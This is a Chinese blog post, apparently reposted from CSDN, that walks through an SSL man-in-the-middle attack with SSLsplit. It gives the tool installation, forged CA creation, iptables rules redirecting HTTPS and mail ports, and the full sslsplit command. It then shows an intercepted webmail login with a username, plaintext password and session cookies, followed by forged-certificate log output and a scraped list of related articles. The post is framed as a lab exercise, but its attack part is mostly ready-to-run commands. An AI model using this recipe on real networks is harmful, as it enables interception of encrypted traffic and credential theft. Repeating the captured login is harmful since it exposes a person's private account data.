【网络安全】SSLSplit实现中间人攻击
中间人攻击,即在中间监听获取网络数据以便获取的有价值的信息实现攻击破坏的目的,即client-mid man-server,此处介绍的sslsplit可以作为mid man监听ssl信息及HTTP信息。http不做介绍仅仅实现代理功能,ssl实现代理的同时要与服务器建立连接,同时伪造证书与客户端建立连接,即双连接,依据获取的client信息再与服务器通信,从而实现明文数据监听。
1、实验环境 2台机器配置如下:
A:192.168.68.62
A机器为Linux系统
B:192.168.68.66
B机器为Linux系统(Windows系统也可),将B机器网关设置为192.168.68.62即由B发出的报文都转向A机器
2、A机器SSLSplit配置过程
安装libevent2.x:下载地址http://download.chinaunix.net/download/0006000/5804.shtml下载最新版本安装即可(此实验环境下载的是libevent-2.0.21-stable.tar.gz)
安装Openssl:下载地址http://www.openssl.org/source/ (此实验环境下载的是openssl-1.0.1g.tar.gz (MD5) (SHA1) (PGP sign))
安装sslsplit:https://github.com/droe/sslsplit 点击右侧下载zip包即可。
下载后解压安装 依次执行tar zxvf xx.tar.gz ; cd xx ; ./configure ; make ; make install
在不指定prefix=XX的情况下,默认安装到/usr/local/目录对于动态库安装后需要修改/etc/ld.so.conf加上.so所在目录 目前安装后为/usr/local/lib目录,把/usr/local/lib加入到ld.so.conf文件中后执行ldconfig将动态库信息加入缓存中以便相关程序查找使用。
安装完毕后可执行openssl及sslslplit -h查看openssl是否安装成功。
3、制作证书:
利用openssl制作ca以便为后续的客户端程序颁发伪造的证书,同时去除key的密码认证。
openssl req -new x509 -keyout ca.key -out ca.crt
openssl rsa -in ca.key -out ca.key.unsecure
4、执行sslsplit代理
将下面的信息加入到sslsplit.sh脚本中,后续启动直接执行sslsplit脚本即可。
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080
sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
如果发现端口被占用提示Error from bind() ip地址被占用时使用netstat -tanlp命令查看哪些端口被哪些进程占用,杀掉进程响应进程即可。
5、在测试机器B中访问mail.xx.com.cn时,可以在日志/tmp/sslsplit/logdir中查看ssl中加密的明文信息如下,红色字体为用户名密码,实现中间人查看。
POST / HTTP/1.1
Host: mail.topsec.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.11) Gecko/20121116 Firefox/10.0.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://mail.XX.com.cn/
Cookie: roundcube_sessid=gbpd6svfmue2s7695c37mu7n77; isbdresult=userclass%3A8%2Cuserdomain%3DNULL%2Cissystemadmin%3D0%2Cend
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
_token=d9646e13b414e4e3108d64e919855921&_action=login&_timezone=-7&_url=&_user=jia_yanhui&_pass=123456789%21&CAPTCHA_word=garnet&domain=-&select=&_lang_sel=zh_CNHTTP/1.1 302 Found
Date: Mon, 16 Jun 2014 06:08:23 GMT
Server: Apache
X-Powered-By: PHP/5.3.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sessauth=-del-; expires=Mon, 16-Jun-2014 06:07:24 GMT; path=/; secure; httponly
Set-Cookie: roundcube_sessid=3d14227ff09dac79b950acfb2c4b78c1; path=/; secure; httponly
Location: ./?_task=login
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 25
Connection: close
Content-Type: text/html
6、sslsplit控制台输出如下内容:
===> Original server certificate: //这个为服务器的真正证书信息
Subject DN: /C=AU/ST=Some- State/O=\xC3\xA5\xC2\x8C\xC2\x97\xC3\xA4\xC2\xBA\xC2\xAC\xC3\xA5\xC2\xA4\xC2\xA9\xC3\xA8\xC2\x9E\xC2\x8D\xC3\xA4\xC2\xBF\xC2\xA1\xC3\xA7\xC2\xA7\xC2\x91\xC3\xA6\xC2\x8A\xC2\x80\xC3\xA6\xC2\x9C\xC2\x89\xC3\xA9\xC2\x99\xC2\x90\xC3\xA5\xC2\x85\xC2\xAC\xC3\xA5\xC2\x8F\xC2\xB8/CN=mail1./emailAddress=postmaster@
Common Names: mail1.
Fingerprint: 45:5c:93:02:f4:3c:90:62:1c:80:11:82:8e:01:88:67:20:29:3b:73
Certificate cache: HIT
===> Forged server certificate: //这个为伪造的返回给客户端的证书信息
Subject DN: /C=AU/ST=Some- State/O=\xC3\xA5\xC2\x8C\xC2\x97\xC3\xA4\xC2\xBA\xC2\xAC\xC3\xA5\xC2\xA4\xC2\xA9\xC3\xA8\xC2\x9E\xC2\x8D\xC3\xA4\xC2\xBF\xC2\xA1\xC3\xA7\xC2\xA7\xC2\x91\xC3\xA6\xC2\x8A\xC2\x80\xC3 \xA6\xC2\x9C\xC2\x89\xC3\xA9\xC2\x99\xC2\x90\xC3\xA5\xC2\x85\xC2\xAC\xC3\xA5\xC2\x8F\xC2\xB8/CN=mail1./emailAddress=postmaster@
Common Names: mail1.
Fingerprint: 35:5c:cb:4c:eb:71:ae:d1:63:d3:54:c6:97:5a:3c:23:ea:fe:a3:ad
COPY FROM : https://blog.csdn.net/jiayanhui2877/article/details/31379439
【网络安全】SSLSplit实现中间人攻击的更多相关文章
- 小白日记53:kali渗透测试之Web渗透-SSL、TLS中间人攻击(SSLsplit,Mitmproxy,SSLstrip),拒绝服务攻击
SSL.TLS中间人攻击 SSL中间人攻击 攻击者位于客户端和服务器通信链路中 利用方法: ARP地址欺骗 修改DHCP服务器 (存在就近原则) 手动修改网关 修改DNS设置 修改HOSTS文件[高于 ...
- Android安全之Https中间人攻击漏洞
Android安全之Https中间人攻击漏洞 0X01 概述 HTTPS,是一种网络安全传输协议,利用SSL/TLS来对数据包进行加密,以提供对网络服务器的身份认证,保护交换数据的隐私与完整性. ...
- Https协议简析及中间人攻击原理
1.基础知识 1.1 对称加密算法 对称加密算法的特点是加密密钥和解密密钥是同一把密钥K,且加解密速度快,典型的对称加密算法有DES.AES等 ...
- HTTPS中间人攻击实践(原理·实践)
前言 很早以前看过HTTPS的介绍,并了解过TLS的相关细节,也相信使用HTTPS是相对安全可靠的.直到前段时间在验证https代理通道连接时,搭建了MITM环境,才发现事实并不是我想的那样.由于 ...
- 如何利用 LTE/4G 伪基站+GSM 中间人攻击攻破所有短信验证
这次公开课请来的嘉宾对自己的简介是: 连续创业失败的创业导师:伪天使投资人:某非知名私立大学创办人兼校长:业余时间在本校通信安全实验室打杂. 自从他在黑客大会上演讲<伪基站高级利用技术——彻底攻 ...
- SSL/TLS中间人攻击
准备:kali.xp kali ip:192.168.14.157 目标ip:192.168.14.158 目标网关:192.168.14.2 使用工具:ettercap.sslstrip.arpsp ...
- SSH V2的中间人攻击
SSH V2的中间人攻击 2012-12-19 10:48:52 我来说两句 作者:Dis9Team 收藏 我要投稿 中间人攻击(Man-in-the-MiddleAttack ...
- 中间人攻击 -- Cookie 喷发
0x00 前言 分享个中间人攻击姿势,屡试不爽. 原本是篇老文,不过写的太啰嗦.今天用简明的文字,重新讲一遍. 0x01 原理 传统 cookie 嗅探,只能获得用户主动访问的站点.不访问就抓不到,效 ...
- 中间人攻击(MITM)姿势总结
相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...
随机推荐
- docker删除名字为none的imgae
docker rmi $(docker images -f "dangling=true" -q)
- js(javaScript)的各种事件触发,以常见为主eg:onclick
js的各种事件触发,以常见为主eg:onclick1.onclick,点击后触发事件 (1)<h1 onclick="this.innerHTML='谢谢!'">请点击 ...
- 大数据及Hadoop的概述
一.大数据存储和计算的各种框架即工具 1.存储:HDFS:分布式文件系统 Hbase:分布式数据库系统 Kafka:分布式消息缓存系统 2.计算:Mapreduce:离线计算框架 stor ...
- RBF:RBF基于近红外光谱的汽油辛烷值含量预测结果对比—Jason niu
load spectra_data.mat temp = randperm(size(NIR,1)); P_train = NIR(temp(1:50),:)'; T_train = octane(t ...
- POJ 1195 Mobile phones【二维树状数组】
<题目链接> 题目大意: 一个由数字构成的大矩阵,开始是全0,能进行两种操作1) 对矩阵里的某个数加上一个整数(可正可负)2) 查询某个子矩阵里所有数字的和要求对每次查询,输出结果 解题分 ...
- 004.MySQL双主+Keepalived高可用
一 基础环境 主机名 系统版本 MySQL版本 主机IP Master01 CentOS 6.8 MySQL 5.6 172.24.8.10 Master02 CentOS 6.8 MySQL 5.6 ...
- 数据库相关--net start mysql 服务无法启动(win7系统)解决
系统:win7 旗舰版 64位 MySQL:8.0.11 家里台式机上不久之前安装了MySQL,一段时间没碰过后,突然启动不了了(我有一头小毛驴,我从来也不骑,有一天我心血来潮骑它去赶集) 先是在系统 ...
- c++ stod很慢
C++ Convert String to Double Speed (There is also a string-to-int performance test.) A performance b ...
- BZOJ.3811.玛里苟斯(线性基)
BZOJ UOJ 感觉网上大部分题解对我这种数学基础差的人来说十分不友好...(虽然理解后也觉得没有那么难) 结合两篇写的比较好的详细写一写.如果有错要指出啊QAQ https://blog.csdn ...
- JavaScript基础笔记(七)DOM
DOM DOM可以将任何HTML或者XML文档描述成一个由多层节点构成的结构. 一.节点层次 一)Node类型 DOM1定义了一个Node接口,该接口将由DOM中所有节点类型实现. 每一个节点都有一个 ...